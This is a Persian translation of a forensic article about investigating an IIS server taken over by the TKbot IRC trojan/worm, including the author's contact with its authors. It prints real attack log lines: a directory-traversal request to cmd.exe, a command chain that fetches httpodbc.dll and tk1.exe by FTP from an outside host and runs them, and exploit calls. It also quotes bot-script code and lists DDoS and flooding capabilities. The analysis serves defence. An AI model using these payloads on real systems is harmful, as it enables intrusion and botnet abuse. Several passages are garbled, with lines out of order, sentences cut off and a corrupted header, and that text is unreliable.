بنابراين بدون هيچگونه حرف    . ايـنجا جايـي اسـت كـه از ايـن قضيه واقعي برداشت مي كنيم                
 . را ادامه دهيماضافه اي اجازه دهيد تا داستان


 
 Tkbot.R00t.EDITiON.FiNALريشه يابي شده با  
اولين . در آنجـا بوديـم كـه مـن بدون هيچ راهي براي دستيابي راه دور به سرور مانده بودم                    


بنابراين با انجام . حدسي كه در اين مورد زدم آن بود كه سرور توسط مدير سرور غيرفعال شده است
 نبوده و داراي فعاليت     Offlineها به سرعت متوجه شدم كه سرور         و اسـكن كـردن پـورت         Pingيـك   


 .با برقراري يك تماسي تلفني با مدير، متوجه شدم كه او هنوز هيچ كاري انجام نداده است. مي باشد
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 رو در روي انواع هكر 


 1297بطور جالبي عمل اسكن پورت ها، همان شماره پورت هاي باز قبلي را به اضافه دو پورت  
 . است، بازمي گرداندncx99.exe كه مورد استفاده 99و ) سرور وب (80رت  و با كاهش دو پو65130و 


 Telnetبـا در نظر گرفتن اينكه هيچ راه ديگري نداشتم، تصميم گرفتم تا از طريق برنامه هاي           
با شگفتي به   .  بـه ايـن دو پـورت جديد متصل شوم تا ببينم آنها چه اطلاعاتي را برمي گردانند                  FTPو  


همانطوري كه در شكل شماره ( سرور مورد نظر بازهم قرباني هكر ديگري شده است       نظر مي رسيد كه   
بـا ايـن حـال در ايـن مورد، هكر به پاك كردن روش هايي كه توسط هكرهاي ديگر براي                   ).  مـي بينـيد    ١


 .بدست آوردن دسترسي به سرور مورد استفاده قرار گرفته بود، توجه داشته است
 


 
 


 
 ١شك 


 ر سرور هك شده پورت  بهTelNetاتصال 
 


بعـد از چنديـن مـورد تـلاش بـراي حـدس زدن كلمات عبور گوناگون متداول، دوباره با مدير                      


ل
 د65130


همچنين در اين تماس از او      . سـرور تمـاس گرفـتم تـا درباره آخرين اتفاقات از طريق وي باخبر شوم               
اجازه خواستم و درخواست كردم     براي كند و كاو سرور در سايتي كه دستگاه در آنجا قرار گرفته بود               
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 مديـر را كـه براي دستيابي به سرور مورد نياز است در   (Account)تـا اطلاعاتـي از شناسـه عـبور          
 .اختيارم قرار دهد


 
 روز دوم، بعدازظهر: شروع بازي


با اين حال از . ـي توانم به سايت دسترسي داشته باشم            


از آنجايي كه سايت در عوض استفاده       . هنگامـي كه به سايت رسيدم، فورا كارگاه را برپا كردم          
از 


هـاب ها داده ها را به سوي همه پورت ها منتشر كرده و به همه ابزارها اين اجازه را مي دهند تا                        
خـود 


. ا جمع آوري كنم و سپس در موعد مناسب آنها را آناليز كنم            هـدف مـن ايـن بود كه اطلاعات ر         
بـراي ت


تـا بعدازظهـري كـه در پـيش اسـت نم 
وقع در اختيار دارم براي طراحي يك روش احتمالي جهت رسيدن به هدفم استفاده              زمانـي كـه تـا آن م       


پس از تفكر درباره انتخاب هاي موجود، برايم مشخص شد كه بهترين راه رسيدن به روشي كه        . مي كنم 
هكـر از طـريق آن توانسته برنامه سرقت اطلاعات خود را نصب كند آن است كه بتوانم يكي از كلمات                     


همچنين .  اسـتفاده شده توسط هكر به هنگام ورود به سيستم را بدست آورم             Ftp يـا    Telnetعـبور   
 فايل ها و فايل سيستمي داشته باشم تا ببينم مي توان            Logبـرنامه ريـزي كـردم تـا نگاهـي دقـيق به              
با آنكه اين گار مانند     .  ساعت گذشته آنها پيدا كرد يا خير       ٢٤تغييراتـي مـربوط بـه اين مخمصه را در           


انداختـن تيري در تاريكي بود، اما در نهايت به بهترين وجه و بطور جالبي پاسخي به من داد كه اصلا                     
 .به دنبال آن نبودم


 


ادر به اتصال كامپيوتر همراهم به  شبكه سوئيچي، از شبكه مبتني بر هاب استفاده مي كرد براحتي ق            
 .شبكه بوده و از آن طريق مي توانستم دزدي ترافيك شبكه را آغاز كنم


 


يگر، سوئيچ ها بر    از طرف د  . تشـخيص دهـند كـه كداميك از بسته ها براي آنها ارسال شده است                
آدرس سـخت افـزاري هر ابزار متصل به شبكه نظارت كرده و فقط در صورتي اطلاعاتي را به پورتي                    


اين امر سرقت اطلاعات بر روي يك شبكه سوئيچي         . مي فرستند كه آن اطلاعات بايد به آن پورت برود         
 .را با كمي مشكل و چالش مواجه مي سازد


 


 بر روي آن در حال      Linux را بر روي كامپيوترم كه سيستم عامل         Tcpdumpسـهيل اين كار،       
با . اجرا بود، اجرا كرده و آن را براي ذخيره اطلاعات بدست آمده در يك فايل بر روي هارد تظيم كردم                   


 جستجو در سيستم فايل، اتصالات شبكه و سرويس هاي در حال اجرا و اجرا               انجـام اين كار، شروع به     
 .شده سرور نمودم
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 كـه اطلاعاتـي راجـع به ارتباط شبكه براي كاربر خود فراهم مي كند، شروع                 NetStatمـن بـا     
به ( مـي بينيد، چندين اتصال مشكوك بسيار واضح بودند           ٢همـان طـور كـه در شـكل شـماره            . كـردم 


 كه ليست برنامه هاي در حال       Task، سپس به فهرست     .)  توجـه كنـيد    IRC سـرورهاي    ارتـباطات بـا   
 FireDaemonمتوجه يك سرويس غير معمول با نام . اجراي كامپيوتر را نشان مي دهد نگاهي انداختم


 انجام دادم متوجه شدم كه      Onlineبعـد از انجـام جسـتجويي كـه در همـان موقـع به صورت                 . شـدم 
FireDaemon مانند (ه اي كمكي است كه به شما اجازه مي دهد تا بتوانيد هر برنامه يا اسكريپت                  برنام


BAT/CMD   ، Perl   ، Java   ، Python (      ذاتـا مـربوط بهWin32       را بطور مجازي مانند يك سرويس 
NT/2K/XP       به عبارت ديگر اين نرم افزار، روياهاي يك هكر را به حقيقت تبديل             .  اجـرا و نصـب كنـيد


 بعنوان يك سرويس، هكر مي تواند بطور ساده اي تضمين كند كه Root Kitنصب كردن يك با . مي كند
Root Kit حتي در صورت Rebootشدن سرور هم اجرا خواهد شد . 


 
 ٢شكل 


 . بر روي سرويس هك شدهNetStatنتايج بازگشتي  
 


 بدست در نهايـت شـروع بـه كاوش درون سرور كردم تا ببينم مي توان چگونگي ورود هكر را                
 . پيدا كردم١ هاي سرور وب شروع كرده و ورودي هايي را در ليست Logبا . آورد يا خير


 
 
209.115.xxx.xxx, -, 10/31/02, 16:01:11, W3SVC, EXCHANGE, 64.3.xxx.xxx, [ccc] 
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859, 156, 331, 200, 0, GET, /scripts/..%5c..%5cwinnt/system32/cmd.exe, [ccc] 
/c+copy+c:\winnt\system32\cmd.exe+c:\inetpub\scripts\script.exe, 
 
209.115.xxx.xxx, -, 10/31/02, 16:02:44, W3SVC, EXCHANGE, 64.3.xxx.xxx, [ccc] 
83250, 270, 148, 200, 0, GET, /scripts/script.exe, [ccc] 
/c+echo+open+209.184.xxx.xxx>tmp2&&echo+anonymous>>tmp2&&echo+a@a.com>
>[ccc]tmp2&&echo+get+httpodbc.dll>>tmp2&&echo+get+tk1.exe>>tmp2&&echo+bye
>>[ccc]tmp2&&echo+ftp+-s:tmp2>>tmp2.cmd&&echo+exit>>tmp2.cmd&&tmp2.cmd, 
 
209.115.xxx.xxx, -, 10/31/02, 16:06:11, W3SVC, EXCHANGE, 64.3.xxx.xxx, [ccc] 
703, 170, 572, 200, 0, GET, /scripts/httpodbc.dll, [ccc] 
MfcISAPICommand=Exploit&cmd=c%3A%5Cwinnt%5Csystem32%5Ccmd.exe+%[ccc] 
2Fc+c%3A%5Cinetpub%5Cscripts%5Ctk1.exe, 
 
209.115.xxx.xxx, -, 10/31/02, 16:06:26, W3SVC, EXCHANGE, 64.3.xxx.xxx, [ccc] 
828, 174, 576, 200, 0, GET, /scripts/httpodbc.dll, [ccc] 
MfcISAPICommand=Exploit&cmd=c%3A%5Cwinnt%5Csystem32%5Ccmd.exe+%[ccc] 
2Fc+del+c%3A%5Cinetpub%5Cscripts%5Ctk1.exe, 


 
بـا در نظـر گرفتن ورودي ها به صورت يك مسير، به پوشه اي مشخص رسيده و در آنجا سه                     


 باز كرده و    NotePadدو فايل اول را در برنامه       .  را يافتم  httpobdc.dll و   tmp2   ، tmp2.cmdفـايل   
 مي باشد كه    (Batch) بوده و ديگري يك فايل دسته اي         Ftpفهمـيدم كـه از آن دو، يكـي فايل دستورات            


)  مورد استفاده قرار مي گيرد     Nimdaفايلي كه عموما توسط كرم       (httpodbc.dll و   tk1.exeفايل هاي   
 به سروري اشاره داشتند كه از شناسه اي         Ftpاز آنجا كه فايل دستورات      .  كـرده اسـت    downloadرا  


پي از فايل    كه هنوز در حال اجرا بود وارد شده و يك ك           Ftpعمومـي اسـتفاده مي كرد، من هم به سرور           
 .براي كند و كاوهاي آينده خود بدست آوردم


 Offlineبـا ادامـه جستجوي خود در سرور، برايم اثبات شد كه مشخصا هك انجام شده دليل                  
اين تصور بر اساس . بـودن سـرور وب و همچنين باز بودن دو پورت جديد بر روي سرور بوده است      


 فايل  log ثانيه هايي قبل از خالي شدن        tk1.exe فايل   Downloadايـن واقعيـت شـكل گرفـت كـه عمل            
 در حال اجرا بود، 65130 كه در آن موقع بر روي پورت  Ftpسـرور وب رخ داده بـود، همچنين سرور          


 . را نشان مي داد"TK DISTRO"يك عمل 


 و  NetStatبا توجه به نتايج بدست آمده از        . در ايـن زمـان، مـن آمـاده رفتـن بـه خانـه شدم               
 حدس مي زدم كه اين عمل بخصوص هك، يك اسب           TKكسب شده مربوط به فايل مبهم       اطلاعات جديد   


 جمع آوري (tk1.exe) اسـت كـه همگـي در يـك فـايل دقيق      Ftp/Back Door/IRCتـرواي مركـــب   
 .به هرحال اين تئوري به نظر معتبر مي رسيد. شده اند


 
 


com.WebSecurityMgz.www                                                                                     5 





		Ñæ ÏÑ Ñæí ÇäæÇÚ åßÑ

		« ÞÓãÊ Óæã »







ebook3443(www.takbook.com)/4.pdf


 رو در روي انواع هكر 


 


 رو در روي انواع هكر
 »قسمت آخر « 


 رضا مددي: مترجم 


 ١٣٨٣اول ارديبهشت : تاريخ 


 Cyrus Peikari, Seth Fogie: نويسندگان 


 
THR34T Krew : روز دوم، شب 


 كه در سايت از     فايلي(بعـد از يـك بعدازظهـر زيـبا در كنار خانواده، آماده حمله به فايل توده                  
 كردم كه فقط اطلاعاتي را Loadتوسط يك فيلتر، فايل را طوري      . شدم) اطلاعـات جمع آوري شده بود     


 شد  Loadهمينكه فايل   .  سرور هك شده رفته و يا از آن برگشته باشند          IPنشـان دهد كه يا به آدرس        
طبق حدسهايي كه   . ار دادم  را مورد نظر قر    IRCسريعا ترافيك   ) و ايـن عمـل دقايقـي به طول انجاميد         (


 ٣همانطور كه در شكل .  و سرور هك شده باز شده بودIRCزده بودم مطمئنا نشستي بين يك سرور 
 اسب تروا   IRCنشـان داده شـده اسـت، شـناخت نام اتاق و نوع عمومي فعاليتي كه به نظر، دايمون                    


 .براي ارسال و دريافت انجام داده بود، براحتي قابل شناخت بودند
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 ٣شكل 


  ضبط شدهIRCبسته هاي 
 


در هنگامـي كه من اميدوار بودم تا اطلاعات بيشتري از قبيل كلمات شناسه و عبور مورد نياز                  
براي فعال كردن اسب هاي ترواي بر روي سرور بدست آورم، فايل توده اي كه تهيه كرده بودم، تهي از                    


 را اجرا كرده و آن را طوري تنظيم      mIRC هـرگونه اطلاعات مفيد و ارزشمندي شده بود، بنابراين من         
هنگامي كه اتصال برقرار شد، مشخص شد كه اين         .  مشـكوك متصـل شود     IRCكـردم كـه بـه سـرور         


 از IRCاولين نظر من اين بود كه اين سرور، يك سرور           . سـرور، يك سرور عادي و معمول چت نيست        
افزار تحت اينترنت براي تعويض      بـوده و در حقيقـت بـه طور معمول به عنوان يك نرم                warezنـوع   


.  كانال هاي عمومي را بدست آوردم      List/با استفاده از دستور     . اتـاق هـا مـورد اسـتفاده قرار مي گيرد          
فهرسـت گـيري اتاق، نظرم را تاييد مي كرد، اما مانند خيلي چيزها در زندگي، شما نمي توانيد در مورد                     


 !كتابي از روي جلد آن نظر دهيد
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 ،  (tkworld#)ز داده هـاي ضبط شده، اتــاقي را كه به دنبال آن بودم، شناختم               بـا اسـتفاده ا    
.  را تايـپ كردم، اما به من گفته شد كه به يك كلمه عبور نياز دارم join #tkworld/بنابرايـن عـبارت   


در مرحله بعد سعي كردم تا به       . چـند كلمـه عـبور واضـح و بديهي را امتحان كردم، اما درست نبودند               
#tkworld1من داخل شده بودم. كار كرد.  كه آنهم در فايل توده نشان داده شده بود، متصل شوم! 


همـانطوري كه از شدت هيجان خوشحال بودم و با خودم مي خنديدم، هنگامي كه ليست اعضاء             
Load               تبديل شد، چرا كه فهميدم در آن اتاق   ) از روي تعجب  ( شـد، خـنده مـن سـريعا بـه يك آه كوتاه


 .صدها نفر از مردم ديگر به همراه من وجود دارندصدها و 


بـه تدريـج بـر مـن معلـوم شـده بود كه سرور مشتري من تنها يكي از صدها و شايد هزاران              
صفحه ها يكي پس از     . شوكه شده بودم  . كامپـيوتر آلوده اي بود كه به اين اتاق چت متصل شده بودند            


به همراه هر شناسه عبور     . شمانم عبور مي كردند   ديگـري پـر بـود از شناسه هاي عبور كه از مقابل چ             
 آغاز شده و با يك عبارت تركيبي افزايشي منظم از حروف و اعداد TKنامي وجود داشت كه با عبارت 


كم كم فهميدم كه سرور هك شده مشتري من احتمالا يكي از اولين قربانيان يك               . بـه پايـان رسيده بود     
 .كرم جديد است


 اتاق بودم شروع به نگاه كردن به اطلاعات كاربري كردم تا شايد از              هنگامـي كـه همچـنان در      
 مي بينيد، اطلاعات كاربري بطور اساسي       ٤همانطوري كه در شكل     . آنهـا چـيز جديـدي بدسـت بياورم        


يا  ( Tkbot آلوده شده است، با نامي از        IRCنشـان مـي دهـد كـه هـر كسـي كه با چنين اسب ترواي                  
THR34T Krew's botآورده شده است) گي به چگونگي نگاه شما به آن دارد كه بست. 
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 ٤شكل 


 IRCاطلاعات مشتري 
 


 v| (DOOM)| [][][]آخر شب جمعه با 
هـر چـند كـه موفق شده بودم وارد يك اتاق چت خصوصي شوم، اما عمر اين پيروزي بسيار                    


سعي كردم تا .  ديدمtkworld1#بيشتر از پنج دقيقه نگذشته بود كه خود را اخراج شده از . كوتاه بود
تلاش خود را براي پيدا كردن      . دوباره به داخل اتاق برگردم اما به نظر مي رسيد كه اتاق قفل شده است              


راهـي جهـت ورود به اتاق ادامه دادم و درمانده شده بودم، اما ناگهان متوجه شدم كه يك اتاق جديد با                     
و در ) هيچ كلمه عبوري مورد نياز نبود(ه به سرعت به آن اتاق متصل شد     .  ظاهـر شده است    TKنـام   


 و داخل فايل توده ديده بود، tkwprld1#آنجـا كاربري را با نامي هكري كه آن نام را همچنين در اتاق     
بـا اين وجود، از آنجايي كه اسم، رمزي بود، نتوانستم از آن             ).  را ببينـيد   ٣شـكل شـماره     (پـيدا كـردم     


كمي عاميانه ابتدا پيامي براي اتاق و سپس        . صي حقيقي باشد  مطمئـن شوم كه اين اسم، متعلق به شخ        
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بـه طـور مستقيم براي اسم مورد نظر فرستاده و از او پرسيدم كه او شخصي حقيقي است يا فقط يك              
botدر كمال تعجب عبارت .  ديگر مي باشد[][][]|v|به عنوان پاسخ فرستاده شد . 


يم كه مكالمه ما در چندين عرصه صورت        بـراي خلاصـه كـردن ايـن داسـتان طولاني بايد بگو            
 خيلـي كـنجكاو بـود تا بداند كه من كيستم، چگونه آنجا هستم و چه چيزي                  DOOMدر ابـتدا    . گرفـت 


من به عنوان پاسخ، نسخه كوتاهي از آنچه تا به حال گفته شده را براي               .  مي دانم  tkworld#راجـع به    
دون هيچ تعجبي، او در پاسخ دادن خيلي مبهم بود،          ب. او گفـتم و سپس از او پرسيدم كه او چه مي داند            


 !اما چندين لقمه چرب و نرم اطلاعاتي جذاب را هدر داد


 .نصب كرده بود» دوستان«او سرور چت را براي يكي از  -


 . بوده استonline به تازگي رها شده و سرور چت فقط به مدت چندين ساعت TKكرم  -


 . به صورت يك سرويس نصب شده استIRCكرم  -


 .باعث گسترش آن مي شود IISساختار كرم با بهره گيري ضعفهاي  -


 . نامگذاري شده استTHr34t IRC او با عنوان IRCبرنامه  -


 )احتمالا دروغ است(او هنوز در مدرسه درس مي خواند و در انگليس زندگي مي كند  -


 اما در   مكالمـه در حـدود نـيم سـاعت بـه همراه بحث بر سر مطالب گوناگون به طول انجاميد،                   
سوال من اين بود كه آيا من مي توانم يك كپي از فايل هاي              . نهايـت با سوالي از طرف من به اتمام رسيد         


 را به من بدهد؟ هر دو       tkworld#اسـب تروا را در اختيار بگيرم و آيا او مي تواند كلمه عبور اتاق هاي                 
بودم و مي توانستم به كمك آنها پاسـخ بطـور مودبانـه اي رد شد اما من اطلاعات زيادي بدست آورده       


 . كرده و رفتم تا كمي بخوابمSign Offاز اتاق . جستجو براي بدست آوردن پاسخهايم را شروع كنم
 


 صبح شنبه : TKbot آلوده شده با
در حال حاضر من يك خط سير داشته و مي توانم مستقيما آنچه را كه اسب تروا انجام مي دهد،                    


 را كه از tk1.exe بـالا آورده و فـايل   VMWare را داخـل  Windows 2000بنابرايـن  . بدسـت آورم 
 Screenنفس عميقي كشيده، برنامه هاي ضبط       .  بدست آورده ام را بارگذاري مي كنم       Ftpطريق سرور   


در ابتدا يك خروج موقت     . و نظارت بر فايل را آماده كرده و بر روي فايل اسب تروا دوبار كليك مي كنم                
 سريع و   NetStatيك  . رخ داده و سـپس صفحه به حالت طبيعي بازمي گردد          ) ٥ شـكل  (Windowsدر  


 THR34t Krew's IRC نشان مي دهد كه من در حال حاضر يكي از قربانيان كرم Task Listبررسي 
 .مي باشم
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 ٥شكل 


 TK1.exeنمايش صفحه از نصب فايل 
 


دم كه با يكبار اجراي فايل، فايل       بعـد از بررسـي سيستم براي پي بردن به تغييرات،  متوجه ش             
 فـايل تـبديل شـده و برنامه ها، تنظيمات و سرويس هايي كه با كامپيوتر شروع به كار                    ٣٠مـزبور بـه     


 و يك   Ftp تنظيم شده، يك سرور      mIRCاين سرويس ها يك برنامه      . مـي كنـند را در بـر گرفـته است          
 NotePadل ها را كمي دقيق تر در برنامه         هنگامي كه من فاي   .  را شامل مي شوند    IRCاسكريپت پيچيده   


. بررسـي كـردم، مـتوجه شـدم كـه بسـياري از فـايل بصـورت متـن سـاده و آشـكار نوشته شده اند                          
 .خوشبختانه در داخل متن ها بسرعت چندين كلمه رمز را تشخيص دادم


با . مـرحله بعـدي كـارم تسـت كـردن كلمـات عـبور بـود، بنابرايـن بـه سـرور چت بازگشتم             
هنگامي . كار كرد و من توانستم به اتاق چت وارد شوم         ) خصوصي(نسـي، يكي از كمات رمز       خـوش شا  


كـه وارد شـدم، فـورا اسـم مسـتعار خـود را تغيير دادم تا شبيه اسم هاي ديگر كه بر اساس الگوريتم                        
سـپس شروع به بررسي اتاق چت و   ). TK-=-887 و   TK^8376مانـند   (سـاخته شـده بودنـد باشـد         


 .ودم تا ذره اي اطلاعات بدست بياورممحتويات آن نم


با آنكه مي توانستم ساير     . پـس از چنديـن دقـيقه، مـتوجه شـدم كـه تـلاش هايم بيهوده است                 
handle ها را براي بدست آوردن اطلاعات مورد كنكاش قرار دهم و حتي مي توانستم آدرس IP آنها را 
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به دست آورم، اما قادر به ) سب ترواپورت ا (1297 آنها بر روي پورت     Subnetبـه كمـك اسكن پورت       
 آلوده ام براي بررسي ٢٠٠٠گام بعدي بازگشت به سيستم ويندوز   . دريافت هيچ پاسخي از اتاق نبودم     


 .فايلهاي بيشتري بود 


 را كنترل مي كرد،     IRC هاي   bot را دربرگرفته بود و به تصور من         IRCبا فايلي كه اسكريپت     
رده و به اين نتيجه رسيدم كه اسكريپت و يك سرور تقويت كننده       اسـكريپت  را اسكن ك     . شـروع كـردم   


IRC    باز شده است، متهم اصلي 1297 كـه بـر روي پـورت IRC botبراي اثبات اين نظر، .  مي باشند
 هايي كه   Tkbotبررسـي اسكريپت را با دستوري شروع كردم كه مي توانستم از آن براي تست ساير                 


 .در كمال دلسردي خط زير را در دستورات پيدا كردم. ند، استفاده كنمدر اتاق چت محرمانه با من بود
if ($level($address($nick,9)) != 100) { halt } 


 
 ها  botبـه عـبارت ديگـر تـا زمانـي كـه من اپراتوري از سرور بودم، از قدرت فرمان دادن به                       


ذيرفتم كه اين كار تصميمي     گـرچه ايـن كمـي بدشانسي براي من بود، اما بايد مي پ             . بـرخوردار نـبودم   
منظورم اين است كه در نبود چنين دستوري در         . عاقلانـه از جانـب نويسـنده اسـكريپت بـوده اسـت            


 . كامپيوتر بودم، مي توانستم انواع بسيار زيادي از مشكلات را فراهم كنم١٠٠٠صورتي كه من صاحب 


در يك محيط كنترل شده     بـا همـه ايـن احـوال، در ادامـه تصـميم گرفتم تا قدرت اسكريپت را                   
 بالا آورده، تمام محدوديت ها را ويرايش كرده mIRCبراي انجام اين كار، اسكريپت را در . بررسي كنم


 ديگري  IRCهنگامي كه اسكريپت را اجرا كردم به سرور         . و دسـتورات خـود را جايگزيـن آنهـا كـردم           
 . متصل شده و اتاق چت شخصي خود را بوجود آوردم


 . دقيقه اشكال زدايي اسكريپت من ايجاد شده بودبعد از چندين
 


در طـي ايـن كنكاش متوجه شدم كه سازنده اسكريپت اين اسب تروا، كاري بسيار عالي براي                  
با استفاده از دستورات ساده . توليد عمده يك برنامه بسيار قدرتمند كنترل از راه دور انجام داده است


 كه يك كامپيوتر را براي بدست آوردن اطلاعات آماري،          يـك تا چهار حرفي، يك شخص قادر شده است         
Upload   و Download                     كـردن فـايل هـا، اجـراي بـرنامه هـا بر روي سرورهاي در حال كنترل و حتي 


فـرمان دهـي بـه سـرور براي جستجوي اينترنت جهت پيدا كردن ساير كامپيوترهاي آسيب پذير مورد                
 .كاوش قرار دهد


ر و نام مستعاري است كه سرعت تخميني شبكه اي را كه سرور در              آنچه در ادامه مي آيد دستو     
 :آن مي باشد، بدست مي آورد


if ($1 == !netspeed) { netspeed } 
 
alias netspeed { 
set %nsp $nc 
write -c netst.bat netstat -e >stt.tx 
run netst.bat 
.timer -m 1 9950 once} 
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اگر . وارد شده توسط اپراتور كانال را ضبط مي كند        اوليـن خـط شـامل فيلـتري است كه متن            


اين كد شامل .  را اجرا مي كندalias netspeed را تايپ كند، اين خط كد داخل netspeed!اپـراتور كلمه  
 را اجرا كرده و نتايج را در يك فايل انباشته مي كنند، سپس فايل را به اتاق                  NetStatكدهايي است كه    


 . باز مي گردانندIRCچت 


 :ليست كارهايي كه اين دستورات انجام مي دهند در ادامه آمده است


 UDPاجراي سيل  -


 اجراي فايل -


 Hard Driveجمع آوري اطلاعات آماري  -


 Web Siteاجراي يك حمله سيل آسا به  -


 Server lagايجاد  -


 IRCاجراي دستورات  -


 نابود كردن سرور -


 اجراي يك پرس و جوي پورت باز -


 )1297رواي نصب شده بر پورت اسب ت (BNCكنترل كردن  -


 اجراي پويش كامپيوترهاي آسيب پذير -


 Upload و Downloadاجراي دستورات  -
 


Th34t : روز سوم، شب 
در صورتي كه   .  فراتـر از هدف و منظور اين مقاله مي باشد          IRCبـيان قـدرت ايـن اسـكريپت         


را بيان كنند و من احتمالا       علاقمند هستند، لطفا آن    IRCخوانـنده  هـا بـه مطلب قدرت اسكريپت نويسي            
 .مقاله اي مربوط به آن موضوع تهيه خواهم كرد


 را بررسـي و امـتحان مي كردم، هنوز در كانال            TKدر طـي زمانـي كـه مـن قـدرت اسـكريپت              
#tkworld    قصـدم بطور ساده ثبت كردن هرگونه فعاليتي و افرادي كه داخل يا وارد آن               .  باقـي بـودم


 ها Tkbot كه من متصل بودم، متوجه شدم كه بعد از چندين ساعت تعداد در طي زماني. مي شوند، بود
 شدم كه ارتباط    DiCiseدر بين قطع ارتباط شده ها متوجه فردي با نام           . رو بـه كـاهش گذاشـته اسـت        


 IRCنكته جالب در مورد اين فرد آن بود كه در برنامه            . ايجـاد كرده و سپس ارتباط را قطع كرده بود         
 :ارتباط خود را بگونه اي تنظيم كرده بود كه پيام زير فرستاده شده بودخود، پيام قطع 


"Can j00 f33l tha THR34T? I g0t th3 p0w3r 0f r3wt" 
همانند .  بودTHR34Tاوليـن چـيزي كـه در پـيام توجـه من را جلب كرد كلمه بسيار مانوس            


 را باز كرده و جستجويي را در مورد اين كلمه           com.google.wwwضربه اي در تاريكي، سريعا سايت       
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بعـد از بررسي نتايج بر روي يكي از لينك هاي اميدبخش كليك كرده و با                . غـير مـتعارف انجـام دادم      
 ).٦شكل (صفحه زير روبرو شدم 


 


 
 ٦شكل 


 ) نيستOnlineدرحال حاضر ديگر  (THR34T security crew'sصفحه وب 
 


هيچ چيزي براي   ! ينجا بود كه با ديدن سايت، بر اثر خنده شديد از صندلي به زمين افتادم              در ا 
 THR34T securityانطباق با آنچه مورد نظرم بود وجود نداشت و من كاملا مطمئن بودم كه سايت 


crew        اطلاعات زيادي در مورد اسب ترواي IRC احتمالا مذاكره با    .  نداردDOOM    ،كه قبلا عنوان شد  
 كافي نبوده اند و من متوجه       DiCise از جانب    good-bye كـه او اسـتفاده مي كرد و پيام           IRCبـرنامه   


 را بدقت بررسي كنم تا شايد شناسه ورودي با نام TK Disto Ftpشدم كه بايد فايلهاي نصب سرور 
DOOMبه نظر شما در چه موردي، بديهيات را نديده گرفته ايم؟.  وجود داشته باشد 
 


 هخلاص
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من تمام چيزهايي را كه . در ايـن مـرحله، تحقـيق و بررسـي ديگـر بـراي مـن تمـام شـده بود            
 فايلهاي  log چيز با ارزشي براي من بدست نياورد،         WHOIS. مـي خواسـتم پـيدا كنم پيدا كرده بودم         


در هنگامي كه به نظر مي رسيد گسترش        .  ناپديد شده بود   THR34Tسـرور را در اختـيار نداشـتم و          
در آخرين .  هكر مورد نظر، همه جا را در بر بگيرد، اين اسب متوقف شدIRC botواي از نوع اسـب تر 


 . هنوز چند نفر مقيم در خود داشتtkworld#، )٢٠٠٢ نوامبر ٢٥ (IRC هك شده بازديد از سرور 


در نهايـت از سرور هك شده ما مي توان درس بزرگي را آموخت مبني بر اينكه در صورت عدم        
مشكل چه ويروس   . صحيح يك كامپيوتر اتفاقات ناخوشايند بسياري براي آن رخ خواهد داد          نگهـداري   


وقتي كه  . باشد، چه كرم، اسب تروا و يا حتي همه آنها، لازم است كه از دارائيتان به شدت مراقبت كنيد                  
ر مورد  يكـي از كارهاي عمده سروري، تهيه منبع بزرگي از سرگرمي ها باشد، بايد به مدير آن سرور د                  
 .تفكري كه درباره امنيت نامه هاي الكترونيكي، داده هاي تجاري و اينگونه موارد دارد، شك كرد


 در خلق و توزيع اين كرم مطمئن باشم، اما          THR34Tبـا آنكـه مـن نمـي توانم از نقش عملي             
فرستاده  پس   DOOMمتاسفانه تمام ايميل ها به      . بـنظر مي رسد كه آنها چيزهايي درباره آن مي دانند          


 .شد و وب سايت آنها هم ديگر وجود ندارد، بنابراين فكر مي كنم كه من ديگر درباره آن چيزي ندانم


در هنگامـي كـه ايـن مقالـه را براي تحويل بازبيني مي كردم، تصميم گرفتم تا دوباره يك نگاه              
صدها . اشدبا تعجب ديدم كه سايت در جريان مي ب        .  داشته باشم  IRCزيرچشـمي بـه سرور هك شده        


مقداري در سايت . كامپـيوتر شخصـي در آن وارد شده بودند و تعدادي هم دقايقي ديگر وارد مي شدند        
بعد از انجام چندين مكالمه و      . درنگ كردم و متوجه شدم كه چند شخص حقيقي با من در سرور هستند             


 در  DDoSيك حمله   در حالـيكه بـا اطلاعـات بسـيار كـم و نادرستي تغذيه مي شدم و در نهايت هم با                      
 به حال من سوخت و Thr34t Krew بـودم، بالاخـره دل يكـي از اعضاء    Offline ســاعت  ١٠حـدود  


، درجه امنيتي كه براي حفظ گمنامي خود        Krewاو همه چيز را درباره      . مكالمه اي خوب با من انجام داد      
و همچنين به من گفت كه      ا. انجـام داده بودنـد و همچنين درباره قدرت و وسعت شبكه شان به من گفت               


 .  را به خاطر كاوش هاي من پاك كرده و به سرور ديگري نقل مكان كنندIRCآنها مي خواستند سرور 
 


كرمي / اسب تروا   ) متعلق به او   (Krew عضو   ١٠ ساله و ساير     ١٦به طور خلاصه اين شخص      
 .ساخته بودند كه قدرت و وسعتي بسيار بيشتر از بعضي دولت ها دارد


ينده خوش آمديد، جايي كه مالكيت موضوع چشم اندازها خواهد بود و قدرت با تعداد به آ
 .كامپيوترها و وسعتي كه در كنترل خود داريد، مشخص خواهد شد


 
 ! را متوقف كرديدDDoSمتشكر به خاطر اينكه بالاخره حمله 
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